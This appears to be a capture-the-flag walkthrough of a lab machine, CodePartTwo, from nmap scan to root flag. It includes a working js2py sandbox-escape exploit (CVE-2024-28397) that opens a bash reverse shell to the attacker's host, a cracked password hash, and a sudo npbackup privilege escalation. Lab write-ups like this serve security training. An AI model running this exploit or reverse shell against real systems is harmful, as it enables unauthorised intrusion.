Machine Info

CodePartTwo

User

Reconnaissance

We are going to start by running our nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
└─$ sudo nmap -sC -sV 10.129.5.170 -T4             
[sudo] password for panas: 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-22 18:58 CET
Nmap scan report for 10.129.5.170
Host is up (0.097s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

And let’s put the name on our hosts file.

1
<IP> codeparttwo.local

Looking at the website we see we can run code when we register and also download source code of the app.

1
2
3
4
5
6
7
8
@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

The code is interesting as it runs JS code and converts it to python to run it. Checking the requirements.txt we see the version of the library and we see the CVE-2024-28397.

With a bit of tweaking of the inital command we can get a RCE and get a reverse shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
let cmd = "bash -c 'bash -i >& /dev/tcp/<YOURIP>/4444 0>&1'"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
1
nc -lvnp 4444

So now we have a shell as the user app. We still need to upgrade our user in order to get the flag. If we remember from the code we downloaded we saw a sqlite database! We can read that now. Or we could transfer to our attacker machine and do that there. Although not sure if it was really needed.

1
2
cat users.db | base64 
echo <BASE64 WE COPIED FROM ABOVE> base64 -d > users.db

Then we read the db.

1
2
3
4
5
6
└─$ sqlite3 users.db 
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
Crack Marco's password
1
2
3
hashcat -m 0 users.txt /usr/share/wordlists/rockyou.txt.gz

649c9d65a206a75f5abe509fe128bce5:sweetangelbabylove       

Root

We run sudo -l and we see that we can run sudo in one binary.

1
2
3
4
5
6
7
marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

Checking on how the binary works we see we can create backups and also dump files from these backups. The current backup up just includes the /home/app/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
marco@codeparttwo:~$ sudo npbackup-cli -c npbackup.conf --ls
2026-01-22 19:05:44,484 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-01-22 19:05:44,514 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2026-01-22 19:05:44,524 :: INFO :: Showing content of snapshot latest in repo default
2026-01-22 19:05:46,751 :: INFO :: Successfully listed snapshot latest content:
snapshot 35a4dac3 of [/home/app/app] at 2025-04-06 03:50:16.222832208 +0000 UTC by root@codetwo filtered by []:
/home
/home/app
/home/app/app
/home/app/app/__pycache__
/home/app/app/__pycache__/app.cpython-38.pyc
/home/app/app/app.py
/home/app/app/instance
/home/app/app/instance/users.db
/home/app/app/requirements.txt
/home/app/app/static
/home/app/app/static/app.zip
/home/app/app/static/css
/home/app/app/static/css/styles.css
/home/app/app/static/js
/home/app/app/static/js/script.js
/home/app/app/templates
/home/app/app/templates/base.html
/home/app/app/templates/dashboard.html
/home/app/app/templates/index.html
/home/app/app/templates/login.html
/home/app/app/templates/register.html

We can use the -b flag to make a new backup. So if could just make a new backup and include the /root dir! We see there is a .conf file that specifies that. But we cannot edit it.

Tip
But we can create a new one. LOL.

Add the /root folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: 
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /root/
...

Then we run the backup sudo npbackup-cli -c lol.conf -b -f and then get the flag sudo npbackup-cli -c lol.conf --dump /root/root.txt